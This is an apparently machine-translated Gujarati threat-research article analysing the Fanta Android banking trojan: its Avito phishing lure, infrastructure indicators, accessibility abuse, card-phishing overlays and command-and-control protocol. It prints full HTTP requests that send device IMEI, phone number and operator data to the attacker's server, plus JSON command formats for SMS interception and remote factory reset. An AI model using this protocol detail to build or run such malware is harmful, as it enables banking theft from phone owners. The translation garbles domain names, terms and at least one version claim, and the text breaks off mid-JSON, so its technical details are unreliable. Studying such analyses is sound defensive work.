Leisya, Fanta: જૂના એન્ડ્રોઇડ ટ્રોજનની નવી યુક્તિઓ

એક દિવસ તમે એવિટો પર કંઈક વેચવા માંગો છો અને, તમારા ઉત્પાદનનું વિગતવાર વર્ણન (ઉદાહરણ તરીકે, રેમ મોડ્યુલ) પોસ્ટ કર્યા પછી, તમને આ સંદેશ પ્રાપ્ત થશે:

એકવાર તમે લિંક ખોલી લો, પછી તમે એક દેખીતી રીતે નિરુપદ્રવી પૃષ્ઠ જોશો જે તમને, ખુશ અને સફળ વેચનારને સૂચિત કરશે કે ખરીદી કરવામાં આવી છે:

એકવાર તમે "ચાલુ રાખો" બટનને ક્લિક કરી લો, પછી તમારા Android ઉપકરણ પર આઇકન અને વિશ્વાસ-પ્રેરણાદાયી નામ સાથેની APK ફાઇલ ડાઉનલોડ કરવામાં આવશે. તમે એક એપ્લિકેશન ઇન્સ્ટોલ કરી છે કે જેણે કોઈ કારણોસર ઍક્સેસિબિલિટી સેવા અધિકારોની વિનંતી કરી હતી, પછી કેટલીક વિંડોઝ દેખાઈ અને ઝડપથી અદૃશ્ય થઈ ગઈ અને... બસ.

તમે તમારું બેલેન્સ ચેક કરવા જાઓ છો, પરંતુ કોઈ કારણસર તમારી બેંકિંગ એપ તમારા કાર્ડની વિગતો ફરીથી માંગે છે. ડેટા દાખલ કર્યા પછી, કંઈક ભયંકર થાય છે: કેટલાક કારણોસર હજી પણ તમારા માટે અસ્પષ્ટ છે, તમારા ખાતામાંથી પૈસા અદૃશ્ય થવા લાગે છે. તમે સમસ્યા હલ કરવાનો પ્રયાસ કરી રહ્યાં છો, પરંતુ તમારો ફોન પ્રતિકાર કરે છે: તે "પાછળ" અને "હોમ" કીને દબાવશે, બંધ કરતું નથી અને તમને કોઈપણ સુરક્ષા પગલાં સક્રિય કરવાની મંજૂરી આપતું નથી. પરિણામે, તમે પૈસા વિના રહી ગયા છો, તમારો માલ ખરીદવામાં આવ્યો નથી, તમે મૂંઝવણમાં છો અને આશ્ચર્ય પામો છો: શું થયું?

જવાબ સરળ છે: તમે ફ્લેક્સનેટ પરિવારના સભ્ય, Android ટ્રોજન ફેન્ટાના શિકાર બન્યા છો. આ કેવી રીતે થયું? ચાલો હવે સમજાવીએ.

લેખકો: આન્દ્રે પોલોવિંકિન, માલવેર વિશ્લેષણમાં જુનિયર નિષ્ણાત, ઇવાન પિસારેવ, માલવેર વિશ્લેષણમાં નિષ્ણાત.

કેટલાક આંકડા

એન્ડ્રોઇડ ટ્રોજનનું ફ્લેક્સનેટ કુટુંબ પ્રથમ વખત 2015 માં જાણીતું બન્યું હતું. પ્રવૃત્તિના એકદમ લાંબા ગાળામાં, કુટુંબ ઘણી પેટાજાતિઓમાં વિસ્તર્યું: ફેન્ટા, લાઈમબોટ, લિપ્ટન, વગેરે. ટ્રોજન, તેમજ તેની સાથે સંકળાયેલી ઇન્ફ્રાસ્ટ્રક્ચર, સ્થિર નથી: નવી અસરકારક વિતરણ યોજનાઓ વિકસાવવામાં આવી રહી છે - અમારા કિસ્સામાં, ઉચ્ચ-ગુણવત્તાવાળા ફિશિંગ પૃષ્ઠો ચોક્કસ વપરાશકર્તા-વિક્રેતાને ધ્યાનમાં રાખીને, અને ટ્રોજન વિકાસકર્તાઓ ફેશનેબલ વલણોને અનુસરે છે. વાયરસ લેખન - નવી કાર્યક્ષમતા ઉમેરવી જે ચેપગ્રસ્ત ઉપકરણો અને બાયપાસ સુરક્ષા પદ્ધતિઓમાંથી વધુ કાર્યક્ષમ રીતે નાણાંની ચોરી કરવાનું શક્ય બનાવે છે.

આ લેખમાં વર્ણવેલ ઝુંબેશ રશિયાના વપરાશકર્તાઓને ધ્યાનમાં રાખીને કરવામાં આવી છે; યુક્રેનમાં ઓછી સંખ્યામાં ચેપગ્રસ્ત ઉપકરણો રેકોર્ડ કરવામાં આવ્યા હતા, અને કઝાકિસ્તાન અને બેલારુસમાં પણ ઓછા.

ભલે Flexnet એન્ડ્રોઇડ ટ્રોજન એરેનામાં 4 વર્ષથી વધુ સમયથી છે અને ઘણા સંશોધકો દ્વારા તેનો વિગતવાર અભ્યાસ કરવામાં આવ્યો હોવા છતાં, તે હજી પણ સારી સ્થિતિમાં છે. જાન્યુઆરી 2019 થી શરૂ કરીને, નુકસાનની સંભવિત રકમ 35 મિલિયન રુબેલ્સથી વધુ છે - અને આ ફક્ત રશિયામાં ઝુંબેશ માટે છે. 2015 માં, આ Android ટ્રોજનના વિવિધ સંસ્કરણો ભૂગર્ભ ફોરમ પર વેચાયા હતા, જ્યાં વિગતવાર વર્ણન સાથે ટ્રોજનનો સ્રોત કોડ પણ મળી શકે છે. આનો અર્થ એ છે કે વિશ્વમાં નુકસાનના આંકડા વધુ પ્રભાવશાળી છે. આવા વૃદ્ધ માણસ માટે ખરાબ સૂચક નથી, તે નથી?

વેચાણથી લઈને છેતરપિંડી સુધી

જાહેરાતો પોસ્ટ કરવા માટે ઈન્ટરનેટ સેવા માટે ફિશિંગ પૃષ્ઠના અગાઉ પ્રસ્તુત સ્ક્રીનશૉટ પરથી જોઈ શકાય છે કે Avito, તે ચોક્કસ પીડિત માટે તૈયાર કરવામાં આવ્યું હતું. દેખીતી રીતે, હુમલાખોરો એવિટોના પાર્સર્સમાંથી એકનો ઉપયોગ કરે છે, જે વિક્રેતાનો ફોન નંબર અને નામ તેમજ ઉત્પાદન વર્ણનને બહાર કાઢે છે. પૃષ્ઠને વિસ્તૃત કર્યા પછી અને એપીકે ફાઇલ તૈયાર કર્યા પછી, પીડિતને તેના નામ સાથે એક એસએમએસ મોકલવામાં આવે છે અને તેના ઉત્પાદનનું વર્ણન અને ઉત્પાદનના "વેચાણ" માંથી પ્રાપ્ત રકમ ધરાવતા ફિશિંગ પૃષ્ઠની લિંક. બટન પર ક્લિક કરીને, વપરાશકર્તાને દૂષિત APK ફાઇલ પ્રાપ્ત થાય છે - ફેન્ટા.

shcet491[.]ru ડોમેનનો અભ્યાસ દર્શાવે છે કે તે Hostinger ના DNS સર્વર્સને સોંપવામાં આવ્યું છે:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

ડોમેન ઝોન ફાઇલમાં IP એડ્રેસ 31.220.23[.]236, 31.220.23[.]243, અને 31.220.23[.]235 તરફ નિર્દેશ કરતી એન્ટ્રીઓ શામેલ છે. જો કે, ડોમેનનો પ્રાથમિક સંસાધન રેકોર્ડ (A રેકોર્ડ) IP એડ્રેસ 178.132.1 [.]240 સાથે સર્વર તરફ નિર્દેશ કરે છે.

IP સરનામું 178.132.1[.]240 નેધરલેન્ડમાં સ્થિત છે અને તે હોસ્ટરનું છે વર્લ્ડસ્ટ્રીમ. IP સરનામાં 31.220.23[.]235, 31.220.23[.]236 અને 31.220.23[.]243 યુકેમાં સ્થિત છે અને શેર કરેલ હોસ્ટિંગ સર્વર HOSTINGER થી સંબંધિત છે. રેકોર્ડર તરીકે ઉપયોગ થાય છે openprov-ru. નીચેના ડોમેન્સે પણ IP એડ્રેસ 178.132.1 [.]240 ને ઉકેલી લીધું છે:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

એ નોંધવું જોઈએ કે નીચેના ફોર્મેટમાં લિંક્સ લગભગ તમામ ડોમેન્સમાંથી ઉપલબ્ધ હતી:

http://(www.){0,1}<%domain%>/[0-9]{7}

આ નમૂનામાં SMS સંદેશની લિંક પણ શામેલ છે. ઐતિહાસિક માહિતીના આધારે, એવું જાણવા મળ્યું હતું કે એક ડોમેન ઉપર વર્ણવેલ પેટર્નમાં ઘણી લિંક્સને અનુરૂપ છે, જે દર્શાવે છે કે એક ડોમેનનો ઉપયોગ અનેક પીડિતોને ટ્રોજન વિતરિત કરવા માટે કરવામાં આવ્યો હતો.

ચાલો થોડુ આગળ વધીએ: SMS ની લિંક દ્વારા ડાઉનલોડ કરેલ ટ્રોજન એડ્રેસને કંટ્રોલ સર્વર તરીકે વાપરે છે onusedseddohap[.]ક્લબ. આ ડોમેન 2019-03-12 ના રોજ નોંધાયેલું હતું, અને 2019-04-29 થી શરૂ કરીને, APK એપ્લિકેશનોએ આ ડોમેન સાથે ક્રિયાપ્રતિક્રિયા કરી હતી. VirusTotalમાંથી મેળવેલા ડેટાના આધારે, કુલ 109 એપ્લિકેશનોએ આ સર્વર સાથે સંપર્ક કર્યો. ડોમેઈન પોતે જ IP એડ્રેસ પર રિઝોલ્યુશન કરે છે 217.23.14[.]27, નેધરલેન્ડ્સમાં સ્થિત છે અને હોસ્ટરની માલિકીની છે વર્લ્ડસ્ટ્રીમ. રેકોર્ડર તરીકે ઉપયોગ થાય છે નામચેપ. ડોમેન્સ પણ આ IP એડ્રેસ પર ઉકેલાઈ ગયા છે બેડ-રેકૂન[.]ક્લબ (2018-09-25 થી શરૂ થાય છે) અને બેડ-રેકૂન[.]લાઇવ (2018-10-25 થી શરૂ થાય છે). ડોમેન સાથે બેડ-રેકૂન[.]ક્લબ 80 થી વધુ APK ફાઇલો સાથે ક્રિયાપ્રતિક્રિયા કરી બેડ-રેકૂન[.]લાઇવ - 100 થી વધુ.

સામાન્ય રીતે, હુમલો નીચે પ્રમાણે આગળ વધે છે:

ફેન્ટાના ઢાંકણની નીચે શું છે?

અન્ય ઘણા Android ટ્રોજન્સની જેમ, Fanta SMS સંદેશાઓ વાંચવા અને મોકલવા, USSD વિનંતીઓ કરવા અને એપ્લિકેશનની ટોચ પર (બેંકિંગ સહિત) તેની પોતાની વિન્ડો પ્રદર્શિત કરવામાં સક્ષમ છે. જો કે, આ પરિવારની કાર્યક્ષમતાનું શસ્ત્રાગાર આવી ગયું છે: ફેન્ટાનો ઉપયોગ કરવાનું શરૂ કર્યું સુલભતા સેવા વિવિધ હેતુઓ માટે: અન્ય એપ્લિકેશનોમાંથી સૂચનાઓનું સમાવિષ્ટ વાંચવું, ચેપગ્રસ્ત ઉપકરણ પર ટ્રોજનની શોધ અટકાવવી અને તેના અમલને અટકાવવી વગેરે. Fanta Android ના 4.4 કરતા નાના વર્ઝન પર કામ કરે છે. આ લેખમાં આપણે નીચેના ફેન્ટાના નમૂનાને નજીકથી જોઈશું:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

લોન્ચ કર્યા પછી તરત જ

લોન્ચ થયા પછી તરત જ, ટ્રોજન તેના આઇકનને છુપાવે છે. એપ્લિકેશન ફક્ત ત્યારે જ કાર્ય કરી શકે છે જો ચેપગ્રસ્ત ઉપકરણનું નામ સૂચિમાં ન હોય:

• android_x86
• વર્ચ્યુઅલબોક્સ
• Nexus 5X(બુલહેડ)
• Nexus 5(રેઝર)

આ તપાસ ટ્રોજનની મુખ્ય સેવામાં હાથ ધરવામાં આવે છે - મુખ્ય સેવા. જ્યારે પ્રથમ વખત લોંચ કરવામાં આવે છે, ત્યારે એપ્લિકેશનના રૂપરેખાંકન પરિમાણોને ડિફોલ્ટ મૂલ્યોમાં પ્રારંભ કરવામાં આવે છે (રૂપરેખાંકન ડેટા સંગ્રહિત કરવા માટેનું ફોર્મેટ અને તેના અર્થ વિશે પછીથી ચર્ચા કરવામાં આવશે), અને નિયંત્રણ સર્વર પર એક નવું ચેપગ્રસ્ત ઉપકરણ નોંધાયેલ છે. સંદેશ પ્રકાર સાથેની HTTP POST વિનંતી સર્વરને મોકલવામાં આવશે register_bot અને ચેપગ્રસ્ત ઉપકરણ વિશેની માહિતી (Android સંસ્કરણ, IMEI, ફોન નંબર, ઓપરેટરનું નામ અને દેશનો કોડ જેમાં ઓપરેટર નોંધાયેલ છે). સરનામું નિયંત્રણ સર્વર તરીકે સેવા આપે છે hXXp://onuseseddohap[.]club/controller.php. જવાબમાં, સર્વર ફીલ્ડ્સ ધરાવતો સંદેશ મોકલે છે bot_id, bot_pwd, સર્વર - એપ્લિકેશન આ મૂલ્યોને CnC સર્વરના પરિમાણો તરીકે સાચવે છે. પરિમાણ સર્વર જો ક્ષેત્ર પ્રાપ્ત ન થયું હોય તો વૈકલ્પિક: ફેન્ટા નોંધણી સરનામાનો ઉપયોગ કરે છે - hXXp://onuseseddohap[.]club/controller.php. CnC સરનામું બદલવાના કાર્યનો ઉપયોગ બે સમસ્યાઓ ઉકેલવા માટે થઈ શકે છે: કેટલાક સર્વર્સ વચ્ચે સમાનરૂપે લોડનું વિતરણ કરવા (જો ત્યાં મોટી સંખ્યામાં ચેપગ્રસ્ત ઉપકરણો હોય, તો બિન-ઓપ્ટિમાઇઝ વેબ સર્વર પરનો ભાર વધારે હોઈ શકે છે), અને તેનો ઉપયોગ કરવા માટે પણ. CnC સર્વરમાંથી એકની નિષ્ફળતાના કિસ્સામાં વૈકલ્પિક સર્વર.

જો વિનંતી મોકલતી વખતે કોઈ ભૂલ થાય, તો ટ્રોજન 20 સેકન્ડ પછી નોંધણી પ્રક્રિયાને પુનરાવર્તિત કરશે.

એકવાર ઉપકરણ સફળતાપૂર્વક રજીસ્ટર થઈ જાય પછી, Fanta વપરાશકર્તાને નીચેનો સંદેશ પ્રદર્શિત કરશે:

મહત્વપૂર્ણ નોંધ: સેવા કહેવાય છે સિસ્ટમ સુરક્ષા — ટ્રોજન સેવાનું નામ, અને બટન પર ક્લિક કર્યા પછી ઓકે ચેપગ્રસ્ત ઉપકરણની ઍક્સેસિબિલિટી સેટિંગ્સ સાથે વિન્ડો ખુલશે, જ્યાં વપરાશકર્તાએ દૂષિત સેવા માટે ઍક્સેસિબિલિટી અધિકારો આપવા આવશ્યક છે:

જલદી વપરાશકર્તા ચાલુ કરે છે સુલભતા સેવા, ફેન્ટા એપ્લીકેશન વિન્ડોઝની સામગ્રી અને તેમાં કરવામાં આવતી ક્રિયાઓની ઍક્સેસ મેળવે છે:

ઍક્સેસિબિલિટી અધિકારો પ્રાપ્ત કર્યા પછી તરત જ, ટ્રોજન એડમિનિસ્ટ્રેટર અધિકારો અને સૂચનાઓ વાંચવાના અધિકારોની વિનંતી કરે છે:

ઍક્સેસિબિલિટી સર્વિસનો ઉપયોગ કરીને, એપ્લિકેશન કીસ્ટ્રોકનું અનુકરણ કરે છે, ત્યાંથી પોતાને તમામ જરૂરી અધિકારો આપે છે.

ફેન્ટા રૂપરેખાંકન ડેટા તેમજ ચેપગ્રસ્ત ઉપકરણ વિશેની પ્રક્રિયામાં એકત્રિત કરવામાં આવેલી માહિતીને સંગ્રહિત કરવા માટે જરૂરી બહુવિધ ડેટાબેઝ ઉદાહરણો (જેનું વર્ણન પછીથી કરવામાં આવશે) બનાવે છે. એકત્રિત માહિતી મોકલવા માટે, ટ્રોજન ડેટાબેઝમાંથી ફીલ્ડ ડાઉનલોડ કરવા અને કંટ્રોલ સર્વર તરફથી આદેશ પ્રાપ્ત કરવા માટે રચાયેલ પુનરાવર્તિત કાર્ય બનાવે છે. એન્ડ્રોઇડ વર્ઝનના આધારે CnC ઍક્સેસ કરવા માટેનું અંતરાલ સેટ કરવામાં આવ્યું છે: 5.1ના કિસ્સામાં, અંતરાલ 10 સેકન્ડનો હશે, અન્યથા 60 સેકન્ડનો.

આદેશ પ્રાપ્ત કરવા માટે, ફેન્ટા વિનંતી કરે છે GetTask મેનેજમેન્ટ સર્વર પર. જવાબમાં, CnC નીચેના આદેશોમાંથી એક મોકલી શકે છે:

ટીમ	વર્ણન
0	SMS સંદેશ મોકલો
1	ફોન કૉલ અથવા યુએસએસડી આદેશ કરો
2	પરિમાણ અપડેટ કરે છે અંતરાલ
3	પરિમાણ અપડેટ કરે છે અટકાવવું
6	પરિમાણ અપડેટ કરે છે એસએમએસ મેનેજર
9	SMS સંદેશાઓ એકત્રિત કરવાનું શરૂ કરો
11	તમારા ફોનને ફેક્ટરી સેટિંગ્સ પર રીસેટ કરો
12	ડાયલોગ બોક્સ બનાવવાનું લોગીંગ સક્ષમ/અક્ષમ કરો

ફેન્ટા 70 બેંકિંગ એપ્સ, ફાસ્ટ પેમેન્ટ સિસ્ટમ્સ અને ઈ-વોલેટ્સમાંથી સૂચનાઓ પણ એકત્રિત કરે છે અને તેને ડેટાબેઝમાં સ્ટોર કરે છે.

સંગ્રહ રૂપરેખાંકન પરિમાણો

રૂપરેખાંકન પરિમાણો સંગ્રહિત કરવા માટે, Fanta Android પ્લેટફોર્મ માટે પ્રમાણભૂત અભિગમનો ઉપયોગ કરે છે - પસંદગીઓ-ફાઈલો. સેટિંગ્સ નામની ફાઇલમાં સાચવવામાં આવશે સેટિંગ્સ. સાચવેલા પરિમાણોનું વર્ણન નીચેના કોષ્ટકમાં છે.

ઇમા	ડિફૉલ્ટ મૂલ્ય	સંભવિત મૂલ્યો	વર્ણન
id	0	પૂર્ણાંક	બોટ ID
સર્વર	hXXp://onuseseddohap[.]club/	URL ને	સર્વર સરનામું નિયંત્રિત કરો
pwd	-	શબ્દમાળા	સર્વર પાસવર્ડ
અંતરાલ	20	પૂર્ણાંક	સમય અંતરાલ. નીચેના કાર્યોને કેટલા સમય સુધી મુલતવી રાખવા જોઈએ તે સૂચવે છે: મોકલેલા SMS સંદેશની સ્થિતિ વિશે વિનંતી મોકલતી વખતે મેનેજમેન્ટ સર્વર તરફથી નવો આદેશ પ્રાપ્ત કરી રહ્યા છીએ
અટકાવવું	બધા	તમામ/ટેલ નંબર	જો ક્ષેત્ર શબ્દમાળા સમાન છે બધા અથવા ટેલ નંબર, પછી પ્રાપ્ત SMS સંદેશ એપ્લિકેશન દ્વારા અટકાવવામાં આવશે અને વપરાશકર્તાને બતાવવામાં આવશે નહીં
એસએમએસ મેનેજર	0	0/1	ડિફોલ્ટ SMS પ્રાપ્તકર્તા તરીકે એપ્લિકેશનને સક્ષમ/અક્ષમ કરો
વાંચો સંવાદ	ખોટું	સાચું ખોટું	ઇવેન્ટ લોગિંગને સક્ષમ/અક્ષમ કરો ઍક્સેસિબિલિટી ઇવેન્ટ

ફેન્ટા પણ ફાઈલ વાપરે છે એસએમએસ મેનેજર:

ઇમા	ડિફૉલ્ટ મૂલ્ય	સંભવિત મૂલ્યો	વર્ણન
pckg	-	શબ્દમાળા	એસએમએસ મેસેજ મેનેજરનું નામ વપરાયેલ છે

ડેટાબેઝ સાથે ક્રિયાપ્રતિક્રિયા

તેના ઓપરેશન દરમિયાન, ટ્રોજન બે ડેટાબેઝનો ઉપયોગ કરે છે. ડેટાબેઝ નામ આપવામાં આવ્યું છે a ફોનમાંથી એકત્રિત કરવામાં આવેલી વિવિધ માહિતીને સંગ્રહિત કરવા માટે વપરાય છે. બીજા ડેટાબેઝનું નામ આપવામાં આવ્યું છે fanta.db અને તેનો ઉપયોગ બેંક કાર્ડ્સ વિશેની માહિતી એકત્રિત કરવા માટે રચાયેલ ફિશીંગ વિન્ડો બનાવવા માટે જવાબદાર સેટિંગ્સને સાચવવા માટે થાય છે.

ટ્રોજન ડેટાબેઝનો ઉપયોગ કરે છે а એકત્રિત માહિતી સંગ્રહિત કરવા અને તમારી ક્રિયાઓને લૉગ કરવા માટે. ડેટા કોષ્ટકમાં સંગ્રહિત થાય છે લોગ. કોષ્ટક બનાવવા માટે, નીચેની SQL ક્વેરીનો ઉપયોગ કરો:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

ડેટાબેઝમાં નીચેની માહિતી શામેલ છે:

1. સંક્રમિત ઉપકરણના સ્ટાર્ટઅપને સંદેશ સાથે લોગીંગ કરવું ફોન ચાલુ થયો!

2. એપ્લિકેશન્સ તરફથી સૂચનાઓ. સંદેશ નીચેના નમૂના અનુસાર જનરેટ થાય છે:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ટ્રોજન દ્વારા બનાવેલ ફિશિંગ ફોર્મ્સમાંથી બેંક કાર્ડ ડેટા. પરિમાણ VIEW_NAME નીચેનામાંથી એક હોઈ શકે છે:

• AliExpress
• અવિટો
• Google Play
• પરચુરણ <%App Name%>

સંદેશ ફોર્મેટમાં લૉગ ઇન થયેલ છે:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. ફોર્મેટમાં ઇનકમિંગ/આઉટગોઇંગ SMS સંદેશાઓ:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. પેકેજ વિશે માહિતી જે ફોર્મેટમાં સંવાદ બોક્સ બનાવે છે:

(<%Package name%>)<%Package information%>

ઉદાહરણ કોષ્ટક લોગ:

ફેન્ટાની એક કાર્યક્ષમતા એ બેંક કાર્ડ્સ વિશેની માહિતીનો સંગ્રહ છે. બેંકિંગ એપ્લીકેશન ખોલતી વખતે ફિશીંગ વિન્ડો બનાવવા દ્વારા ડેટા સંગ્રહ થાય છે. ટ્રોજન ફિશીંગ વિન્ડો માત્ર એક જ વાર બનાવે છે. વિન્ડો વપરાશકર્તાને બતાવવામાં આવી હતી તે માહિતી કોષ્ટકમાં સંગ્રહિત છે સેટિંગ્સ ડેટાબેઝમાં fanta.db. ડેટાબેઝ બનાવવા માટે, નીચેની SQL ક્વેરીનો ઉપયોગ કરો:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

બધા ટેબલ ક્ષેત્રો સેટિંગ્સ ડિફૉલ્ટ રૂપે 1 (ફિશિંગ વિન્ડો બનાવો). વપરાશકર્તા તેમનો ડેટા દાખલ કરે તે પછી, મૂલ્ય 0 પર સેટ કરવામાં આવશે. કોષ્ટક ક્ષેત્રોનું ઉદાહરણ સેટિંગ્સ:

• લૉગિન કરી શકો છો - બેંકિંગ એપ્લિકેશન ખોલતી વખતે ફોર્મ પ્રદર્શિત કરવા માટે ફીલ્ડ જવાબદાર છે
• પ્રથમ_બેંક - વપરાયેલ નથી
• can_avito — Avito એપ્લિકેશન ખોલતી વખતે ફોર્મ પ્રદર્શિત કરવા માટે ફીલ્ડ જવાબદાર છે
• can_ali — Aliexpress એપ્લિકેશન ખોલતી વખતે ફોર્મ પ્રદર્શિત કરવા માટે ફીલ્ડ જવાબદાર છે
• અન્ય કરી શકો છો — સૂચિમાંથી કોઈપણ એપ્લિકેશન ખોલતી વખતે ફોર્મ પ્રદર્શિત કરવા માટે ફીલ્ડ જવાબદાર છે: યુલા, પાંડો, ડ્રોમ ઓટો, વોલેટ. ડિસ્કાઉન્ટ અને બોનસ કાર્ડ્સ, Aviasales, બુકિંગ, Trivago
• can_card - ખોલતી વખતે ફોર્મ પ્રદર્શિત કરવા માટે ફીલ્ડ જવાબદાર છે Google Play

મેનેજમેન્ટ સર્વર સાથે ક્રિયાપ્રતિક્રિયા

મેનેજમેન્ટ સર્વર સાથે નેટવર્ક ક્રિયાપ્રતિક્રિયા HTTP પ્રોટોકોલ દ્વારા થાય છે. નેટવર્ક સાથે કામ કરવા માટે, Fanta લોકપ્રિય રેટ્રોફિટ લાઇબ્રેરીનો ઉપયોગ કરે છે. વિનંતીઓ આને મોકલવામાં આવે છે: hXXp://onuseseddohap[.]club/controller.php. સર્વર પર નોંધણી કરતી વખતે સર્વર સરનામું બદલી શકાય છે. કૂકીઝ સર્વર તરફથી જવાબમાં મોકલી શકાય છે. ફેન્ટા સર્વરને નીચેની વિનંતીઓ કરે છે:

• કંટ્રોલ સર્વર પર બોટની નોંધણી એકવાર થાય છે, પ્રથમ લોંચ પર. ચેપગ્રસ્ત ઉપકરણ વિશેનો નીચેનો ડેટા સર્વરને મોકલવામાં આવે છે:
  · કૂકી — સર્વરમાંથી કૂકીઝ પ્રાપ્ત થઈ છે (ડિફૉલ્ટ મૂલ્ય એ ખાલી સ્ટ્રિંગ છે)
  · સ્થિતિ — સ્ટ્રિંગ કોન્સ્ટન્ટ register_bot
  · ઉપસર્ગ - પૂર્ણાંક સ્થિરાંક 2
  · આવૃત્તિ_sdk - નીચેના નમૂના અનુસાર રચાય છે: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
  · IMEI - ચેપગ્રસ્ત ઉપકરણનો IMEI
  · દેશ — ISO ફોર્મેટમાં ઓપરેટર રજીસ્ટર થયેલ છે તે દેશનો કોડ
  · નંબર - ફોન નંબર
  · ઓપરેટર - ઓપરેટરનું નામ

  સર્વરને મોકલેલ વિનંતીનું ઉદાહરણ:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  વિનંતીના જવાબમાં, સર્વરે નીચેના પરિમાણો ધરાવતો JSON ઑબ્જેક્ટ પરત કરવો આવશ્યક છે:
  · bot_id - ચેપગ્રસ્ત ઉપકરણનું ID. જો bot_id 0 ની બરાબર હોય, તો Fanta વિનંતીને ફરીથી અમલમાં મૂકશે.
  bot_pwd - સર્વર માટે પાસવર્ડ.
  સર્વર - સર્વર સરનામું નિયંત્રિત કરો. વૈકલ્પિક પરિમાણ. જો પરિમાણ સ્પષ્ટ કરેલ નથી, તો એપ્લિકેશનમાં સાચવેલ સરનામાંનો ઉપયોગ કરવામાં આવશે.

  ઉદાહરણ JSON ઑબ્જેક્ટ:

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• સર્વર તરફથી આદેશ પ્રાપ્ત કરવાની વિનંતી. નીચેનો ડેટા સર્વરને મોકલવામાં આવે છે:
  · કૂકી - સર્વરમાંથી કૂકીઝ પ્રાપ્ત થઈ છે
  · બિડ - સંક્રમિત ઉપકરણનું id જે વિનંતી મોકલતી વખતે પ્રાપ્ત થયું હતું register_bot
  · pwd સર્વર માટે પાસવર્ડ
  · divice_admin — ક્ષેત્ર નક્કી કરે છે કે સંચાલક અધિકારો પ્રાપ્ત થયા છે કે કેમ. જો એડમિનિસ્ટ્રેટર અધિકારો પ્રાપ્ત થયા હોય, તો ક્ષેત્ર સમાન છે 1, અન્યથા 0
  · ઉપલ્બધતા - ઍક્સેસિબિલિટી સર્વિસ ઓપરેશન સ્ટેટસ. જો સેવા શરૂ કરવામાં આવી હતી, તો મૂલ્ય છે 1, અન્યથા 0
  · SMSManager — SMS પ્રાપ્ત કરવા માટે ડિફોલ્ટ એપ્લિકેશન તરીકે ટ્રોજન સક્ષમ છે કે કેમ તે બતાવે છે
  · સ્ક્રીન - સ્ક્રીન કઈ સ્થિતિમાં છે તે દર્શાવે છે. મૂલ્ય સેટ કરવામાં આવશે 1, જો સ્ક્રીન ચાલુ હોય, અન્યથા 0;

  સર્વરને મોકલેલ વિનંતીનું ઉદાહરણ:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  આદેશના આધારે, સર્વર વિવિધ પરિમાણો સાથે JSON ઑબ્જેક્ટ પરત કરી શકે છે:

  · ટીમ SMS સંદેશ મોકલો: પરિમાણોમાં ફોન નંબર, SMS સંદેશનો ટેક્સ્ટ અને મોકલવામાં આવી રહેલા સંદેશની ID હોય છે. પ્રકાર સાથે સર્વરને સંદેશ મોકલતી વખતે ઓળખકર્તાનો ઉપયોગ થાય છે setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · ટીમ ફોન કૉલ અથવા યુએસએસડી આદેશ કરો: ફોન નંબર અથવા કમાન્ડ રિસ્પોન્સ બોડીમાં આવે છે.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · ટીમ અંતરાલ પરિમાણ બદલો.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · ટીમ ઇન્ટરસેપ્ટ પેરામીટર બદલો.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · ટીમ SmsManager ફીલ્ડ બદલો.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · ટીમ ચેપગ્રસ્ત ઉપકરણમાંથી SMS સંદેશાઓ એકત્રિત કરો.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · ટીમ તમારા ફોનને ફેક્ટરી સેટિંગ્સ પર રીસેટ કરો:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · ટીમ ReadDialog પરિમાણ બદલો.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
